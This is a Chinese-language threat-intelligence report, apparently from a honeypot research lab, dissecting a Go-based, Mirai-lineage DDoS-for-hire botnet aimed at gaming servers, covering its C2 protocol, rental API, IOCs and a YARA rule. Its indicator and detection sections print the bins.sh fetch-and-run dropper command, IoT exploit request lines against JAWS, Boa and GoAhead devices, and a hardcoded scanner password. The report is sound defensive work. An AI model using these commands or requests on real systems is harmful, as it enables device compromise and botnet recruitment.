malware · botnet · ddos · golang · iot · honeypot · gaming · mirai
深入一场面向游戏的 DDoS 出租行动
Kinryū Labs 以高置信度评估,这是一场运行在共享僵尸网络构建套件之上的商业化游戏 DDoS 出租行动。同一套 Go 代码库被不同的操作者以各自的 C2 服务器和攻击载荷编译;此处分析的这支机群对外提供一个自助式、需账户认证的出租 API,以及一份约 28 到 32 台设备的在线僵尸库存,将客户的攻击订单派发向游戏与语音基础设施。其原始 TCP 命令通道无需认证,而僵尸注册则被置于一条需密码认证的 SSH 通道之后。
作者 Davis Zheng·
TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络捕获。下列指标均已做无害化(defang)处理。
摘要
- 11覆盖 7 种架构的唯一二进制
- 28-32出租 API 上的活跃僵尸
- 1具备 SSH 能力的变体(Windows PE)
这是一个基于 Go、具备 IoT 蠕虫能力的 DDoS 僵尸网络,通过一个多架构投放器(bins.sh)分发,并作为一项商业化 DDoS 出租服务运营。僵尸程序通过原始 TCP 连接到其命令控制服务器,周期性发送 STATS 心跳,并接收以行分隔的攻击命令。Kinryū Labs 以高置信度评估,这是一个正在运作的、面向游戏的 DDoS 出租僵尸网络。
其区别性特征是一种认证上的不对称。9111/tcp 上的命令通道无需认证:在 TCP 连接与命令派发之间,不传递任何密码、令牌或质询响应。僵尸注册则被单独追踪于 911/tcp 上一条需密码认证的 SSH 通道,且出租 API 的僵尸计数反映的是那些经认证的注册、而非开放的命令连接。所分析的二进制仅使用原始 TCP 通道、且不携带任何 SSH 客户端,因此注册由一个独立的加载器组件处理。
这场行动作为一门看得见的生意运营。其命令控制主机对外提供一个自助式、需账户认证的 DDoS 出租 API,公布其僵尸库存的在线计数,并且是从同一套僵尸网络套件搭建出的多个店面之一。在数小时的监测中,该服务实时派发了客户的攻击订单。
- 命令通道无需认证;注册则需要。指向
9111的原始 TCP 无需任何认证即接受命令,而出租 API 的僵尸计数追踪的是911上经密码认证的 SSH 会话。实测确认,一次指向9111的原始 TCP 连接,以及一次在911上未认证的 SSH 密钥交换,都不会改变僵尸计数。 - 这支机群是一套 Go 代码库、以多种方式编译而成。C2 文件服务器上的十六个文件,去重后为覆盖七种架构的十一个唯一二进制,全部共享模块路径
Botnet/Bot与构建标志-tags=netgo -trimpath=true。Windows PE 是唯一带有 SSH 客户端的变体;Linux 与 IoT 构建则通过扫描器利用与投放器传播。 - 该服务瞄准游戏 stresser 市场。其方法集包含 FiveM、Minecraft 与 Discord 洪水,且我们捕获到的实时攻击命令几乎全部指向游戏与语音基础设施。
- 该框架是一套 Mirai 血统的设计、以 Go 重写。它沿用了 Mirai 的结构性模式:一条未认证的 TCP 命令通道、以文本分隔的命令、每次攻击一个 goroutine 的派发方式,以及一个命中相同利用目标的 IoT 扫描器;这些以 Go 重新实现,并加上了面向游戏市场的方法、TLS/HTTPS 洪水,以及一个外挂上去的出租 API。
- 这是一套共享的构建套件,而非定制的僵尸网络。一台次级投放器服务器与另一名操作者的 C2 共享基础设施,而从这套套件搭建出的各支机群共享模块路径、扫描器、持久化机制与路由器利用,仅在 C2 地址与攻击方法选择上有所不同。
套件及其变体
C2 托管着一个开放目录,用以提供整支僵尸机群。十六个文件按 SHA-256 去重后为十一个唯一二进制,覆盖 x86、x86-64、ARM(v5/v6/v7)、ARM64 与 MIPS(大端与小端),外加一个 Windows PE 和一个极简桩。全部共享 Botnet/Bot 这套 Go 代码库,以 Go 1.26.4 编译,除 Windows 构建的 SSH 客户端外没有任何第三方导入。
有三点值得注意:
- Windows PE 是唯一具备 SSH 能力的变体。 只有
bot.exe导入了golang.org/x/crypto/ssh;对 Linuxamd64构建的完整字符串扫描,以及对全部十一个唯一二进制的跨样本比对,均未在别处发现 SSH 导入。Linux 与 IoT 变体通过扫描器和投放器扩散。 - 有一个变体是较旧的、不含 C2 的构建。
x866以 Go 1.25.6 编译,相较于机群其余部分的 1.26.4,它是体积最小的 ELF 变体,且不携带可见的 C2 地址;该地址很可能是经过编码或在运行时提供。它共享Botnet/Bot代码库,将其与同一名操作者关联起来。 sora.x86不是僵尸网络。 尽管其文件名令人联想到 Mirai 的 “Sora” 家族,它其实是由同一工具链构建的极简 Go 桩,其全部用户代码只打印sora.x86 is running后退出,没有 C2 地址、扫描器、攻击方法或凭据。它最有可能充当一个进程哨兵,或是文件服务器上的一个诱饵。
对 Windows PE 的三次捕获横跨约一周:其中两次逐字节相同,稍晚的一次是体积更小、已剥符号的重新构建,而更晚的一次是与原始版本不同的、功能完整的重新编译。
C2 协议
命令通道是原始 TCP,没有传输层认证。其连接流程为:一次可选的配置取回(GET /config.dat,对照一个内嵌的 checkcode 校验)、一段持久化例程,然后一次指向命令端口的 net.Dial,此后僵尸程序读取命令、而不先写出任何内容。
- 心跳:
STATS|%d|%d|%d|%d|%s\n。末尾字段为操作系统或架构(例如amd64);四个整数分别报告攻击、连接、扫描与感染计数。 - 命令: 以换行分隔、按空白拆分,形式为
ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]。第一个字段选择方法,数值字段以strconv.Atoi解析。 - 重连: 一个 120 秒的计时器重新进入连接循环。
- 配置: 凭据与配置从
config.dat拉取,并以一种自定义的多阶段 XOR 密码解码(一个以空格初始化的 4,078 字节缓冲区,再与两个固定密钥字节0x24和0x3C做字节级 XOR)。在分析时config.dat未在提供,表明操作者已将其禁用或移走。
攻击方法
僵尸程序内置一套广泛的 DDoS 工具箱,以下依据其函数名与日志字符串编目:
攻击方法
面向游戏: FiveMFlood、FiveMBypass、FiveMTCP、Minecraft、Discord。
第 7 层: HTTPSFlood(Starting Optimized HTTPS Flood on)、Bypass、TLSFlood、TLSPlusFlood、TLSPlusBypassFlood、Priv7Flood(PRIV7 Attack finished)。
第 4 层: TCPFlood、PPSFlood、PPSRawFlood、RawTCPFlood、RawACKFlood、ResetAttack。
第 3 层: UdpFlood、RawUDPFlood、UDPPPSFlood(Extreme UDP (PPS))、GbpsFlood(High GBPS)、DNSFlood。
特殊/特定托管: OVHFlood(针对 OVH)、GameFlood、FortAttack(Fortnite)、Crash、Freez。
仅限 Linux(不在 PE 构建中): NtpAmp(完整的 NTP 放大;PE 中只带一个桩)、HandshakeFlood(带 IP 伪造的原始套接字 TCP SYN 洪水)、VoultFlood(带校验和计算的原始套接字洪水)。
这些 HTTP 洪水会轮换十二个硬编码的浏览器 User-Agent 字符串,并从一组高信誉站点(google.com、twitter.com、facebook.com、fbi.gov、reddit.com、bing.com)中设置一个 Referer,以混入合法流量并绕过 WAF 过滤。
扫描器与 IoT 蠕虫
扫描器暴力破解 IoT 登录凭据,并利用若干嵌入式设备的 web 技术栈:JAWS DVR/IP 摄像头(GET /syscmd.htm)、路由器上的 Boa web 服务器(POST /boafrm/formSysCmd、POST /boafrm/formLogin),以及基于 GoAhead 的设备(setUserLogin 用于认证绕过与管理员用户创建,getSanvas 用于配置导出)。被攻陷的设备被驱使运行 wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh。
凭据是分开的。一个扫描器密码硬编码在二进制中(555111111!!,用户名很可能是 555),而大批量的凭据清单则在运行时从 config.dat 拉取并经 XOR 解码。
持久化使用四种机制外加进程伪装:位于 /etc/systemd/system/sysd.service 的一个 systemd 单元(配合 daemon-reload)、经由 /tmp/cron_tmp 的一条 cron 条目、rc.local(/etc/rc.local、/etc/rc.d/rc.local),以及 init.d(/etc/init.d/boot.local)。该进程伪装成一个名为 sysd 的系统守护进程。
出租行动
命令控制主机被安排得像一门生意。它在 22 上暴露操作者 SSH,在 911 上暴露一条 Go SSH 僵尸注册通道(密码认证,使用一个独立的 RSA-2048 密钥),在 3333 上暴露一个 DDoS 出租 HTTP API,在 9111 上暴露原始 TCP 命令通道,并在 5001 上暴露一个开放目录文件服务器,托管供下载的僵尸机群。
一个自助式店面。 3333 上的 API 是一个极简的、单端点的 booter。/stats 返回僵尸库存的在线计数;/api 接收订单。它校验 user 与 psw(每客户的账户凭据),连同 host、method、time/duration 与 port(目标与攻击参数),并拒绝任何缺失或未认证的请求。该订单表单从未认证的探测中即可见:
GET /stats
{"time":<unix>,"total":30}
GET /api
Missing parameters: user, psw, host, method, time/duration, port
GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed
该订单表单与僵尸程序的命令格式(ATTACK_TYPE TARGET PORT DURATION)一一对应:一个经认证的 API 请求成为通过未认证的 9111 通道派发给每一个已注册僵尸的单行命令。
一份经过筛选的库存。 在监测窗口内,/stats 报告了 28 到 32 个活跃僵尸,并伴有持续的更替。由于该计数器追踪的是 911 上经密码认证的注册、而非原始的命令连接,它是一份经审核的库存计数。这正是注册与命令派发被拆分到两条通道的运营原因:一道关卡用于决定哪些僵尸属于该服务,一条开放通道用于驱动它们。
从挖矿转向 DDoS 的转型。 次级投放器服务器在 DDoS 机群之外还带有一个已清空的 miner.sh,那是一个此后被移除的加密矿工组件的残留。该操作者似乎已从加密挖矿转向售卖 DDoS。
订单履行(实时观测)
我们用一个被动监视器对照在线 C2 验证了逆向出来的协议,并观察了该服务的运作。C2 大多处于空闲;在一次持续数小时的会话中,它派发了十三条攻击命令,每一条都是推送给机群的一个客户订单。
这些订单几乎全部瞄准游戏与语音基础设施:主要是位于沙特阿拉伯、托管在 Google Cloud 上的 FiveM(GTA V)游戏服务器,此外还有托管在 Cloudflare 上的 Discord 语音端点,以及一对 web 服务器。我们评估这是一项面向游戏的 stresser 服务,针对某一具体的客户冲突而行动。其派发模式读来像是服务交付:形似产品档位的分级攻击时长(20 秒试探、30 秒标准、60 秒持续)、方法的逐级升级(先用一种通用洪水测试目标,再对其施以特定协议的方法)、成对且突发式的派发之后归于沉寂,以及对一台 Discord 服务器负载均衡语音背后的两个 IP 双双打击。
一套共享的构建套件
这不是一个定制的僵尸网络。它是一套僵尸网络套件的一个构建,不同的操作者对其加以定制、并作为各自的服务运营。观察这套套件最清晰的方式,是把它与我们此前报告 一个跨平台的 Go DDoS 出租型僵尸网络 中的机群并置对照,那支机群运行在相同的代码库上:
| 此前报告 | 本次行动 | |
|---|---|---|
| 代码库 | Botnet/Bot Go 套件 | 同一套 Botnet/Bot Go 套件 |
| 投递 | Jenkins RCE + IoT 扫描器 | Jenkins RCE + IoT 扫描器 |
| 扫描器、持久化、路由器利用 | 共享 | 共享 |
| C2 地址 | 185.226.93[.]242 | 5.175.140[.]178 |
| 载荷与市场 | 通用型 DDoS | 游戏 stresser(FiveM、Minecraft、Discord) |
这些机群共享 Botnet/Bot 模块路径、相同的扫描器与 IoT 利用、相同的持久化机制以及相同的投放器,并且运行在相互重叠的基础设施上:此处的次级投放器服务器(185.226.93[.]242)正是此前报告中的 C2。所不同的是载荷与市场。那另一支机群编译的是一套通用洪水方法集;而此处的操作者编译的是游戏方法,并配备出租订单 API,直指游戏 stresser 市场。两者共同指向一种构建套件经济:一套共享代码库被转售或流传,每名操作者以各自的目标搭起一个店面。
失陷指标
攻击者基础设施已做无害化处理。哈希按原样复现。
网络
| 指标 | 上下文 |
|---|---|
5.175.140[.]178:911/tcp | 僵尸注册(Go SSH,密码认证;由出租 API 计数) |
5.175.140[.]178:9111/tcp | 命令派发(原始 TCP,未认证;不计数) |
5.175.140[.]178:3333/tcp | DDoS 出租 API(/stats、/api) |
5.175.140[.]178:5001/tcp | 开放目录文件服务器(僵尸机群 + 投放器) |
5.175.140[.]178:22/tcp | 操作者 SSH(OpenSSH 9.7p1 Ubuntu) |
hxxp://5.175.140[.]178:9111/config.dat | 通过原始 TCP 的配置取回 |
hxxp://5.175.140[.]178:5001/bins.sh | 多架构投放器(主) |
185.226.93[.]242:1001/tcp | 次级投放器(另一名操作者的 C2) |
hxxp://185.226.93[.]242:1001/bins.sh, …/binns.sh | 投放器(次级 + 拼写错误变体) |
217.60.195[.]229 | 投递该样本的源地址 |
5.175.140[.]0/24 | 托管分配 |
扫描器/传播字符串
GET /syscmd.htm HTTP/1.1 (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1 (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1 (Boa login)
GET /login.htm HTTP/1.1 (router login page)
{"topicurl":"setting/setUserLogin",...} (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"} (GoAhead config extraction)
GET /config.dat HTTP/1.1 (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt
主机制品
Process name: sysd
systemd: /etc/systemd/system/sysd.service (+ daemon-reload)
cron: /tmp/cron_tmp
rc.local: /etc/rc.local, /etc/rc.d/rc.local
init.d: /etc/init.d/boot.local
Hardcoded scanner credential: 555111111!! (likely username 555)
文件(SHA-256),除注明外均为 Go 1.26.4
完整文件哈希
bot.exe (Windows PE, only SSH-capable variant), captures:
6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4 (6,253,056 bytes)
36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25 (4,933,632 bytes, stripped rebuild)
4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 (6,020,608 bytes, full rebuild)
Linux amd64: 8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical): d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l): 523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5: 362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6: 2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64): 428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE): 6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE): 3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP): f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet): a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
sora.x86 MD5: 3f95cf1ed17f7e00a7be4f5cf12e0088
x86/i386、ARM7 组(android_arm/arm/arm7/armv7l),以及 android_arm64/arm64 逐字节相同;arm6 尽管大小相同,却与 ARM7 组不同(GOARM 代码生成不同)。
托管
Provider: Ryzehosting
Maintainer: GHOSTNET-MNT
Abuse: [email protected]
Reverse DNS: static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15
检测
这些字符串稳定且未混淆,因此签名很直接。下面这条候选 YARA 规则基于有辨识度的字符串构建;部署前请先验证。
rule go_gaming_ddos_bot_candidate
{
meta:
description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
author = "Kinryu Labs honeypot CTI"
reference = "6da75697...78d4" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$mod = "Botnet/Bot" ascii
$cnc1 = "Connecting to CNC" ascii
$cnc2 = "Connected to CNC" ascii
$stats = "STATS|" ascii
$svc = "/etc/systemd/system/sysd.service" ascii
$cron = "/tmp/cron_tmp" ascii
$fivem = "Starting FiveM Flood on" ascii
$cred = "555111111!!" ascii
condition:
($mod and 2 of ($cnc1, $cnc2, $stats)) or
($svc and $cron) or
(2 of ($fivem, $cred, $stats))
}
额外的检测逻辑:
# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n
# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}
# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
修复
- 不要把 Jenkins,或其他 CI/CD 与管理界面,暴露到互联网。 这就是投递向量。
- 修补或分段隔离基于 JAWS、Boa 与 GoAhead 的 IoT 设备, 并封锁对其管理界面的外部访问。这些是扫描器的传播目标。
- 在边界封锁 C2 与投放器基础设施(
5.175.140[.]178以及185.226.93[.]242:1001投放器),并对config.dat取回与bins.sh执行链告警。 - 对持久化制品与
sysd进程名告警, 并对出站流量中的STATS|心跳模式告警。
MITRE ATT&CK 映射
| 战术 | 技术 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application(Jenkins 投递;JAWS / Boa / GoAhead IoT web 技术栈利用) |
| Execution | T1059.004 Command and Scripting Interpreter: Unix Shell(bins.sh 投放器) |
| Persistence | T1543.002 Systemd Service(sysd.service);T1053.003 Cron;T1037.004 RC Scripts(rc.local);init.d 启动脚本 |
| Defense Evasion | T1036 Masquerading(进程名 sysd;浏览器 User-Agent 与 referer 伪造);T1027 Obfuscated Files or Information(XOR 编码的 config.dat) |
| Credential Access | T1110 Brute Force(IoT 设备登录) |
| Discovery | T1046 Network Service Scanning(IoT 扫描器) |
| Command and Control | T1071.001 Web Protocols(config.dat);T1571 Non-Standard Port(911、9111、3333、5001);T1105 Ingress Tool Transfer(多架构投放器) |
| Impact | T1498.001 Direct Network Flood(UDP / TCP / PPS / FiveM / Discord);T1498.002 Reflection Amplification(DNS / NTP) |
方法论与备注
- 分析为静态逆向工程外加被动的实时协议验证;这些二进制从未执行。
- 指标已做无害化处理,哈希按原样复现。
- 样本可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。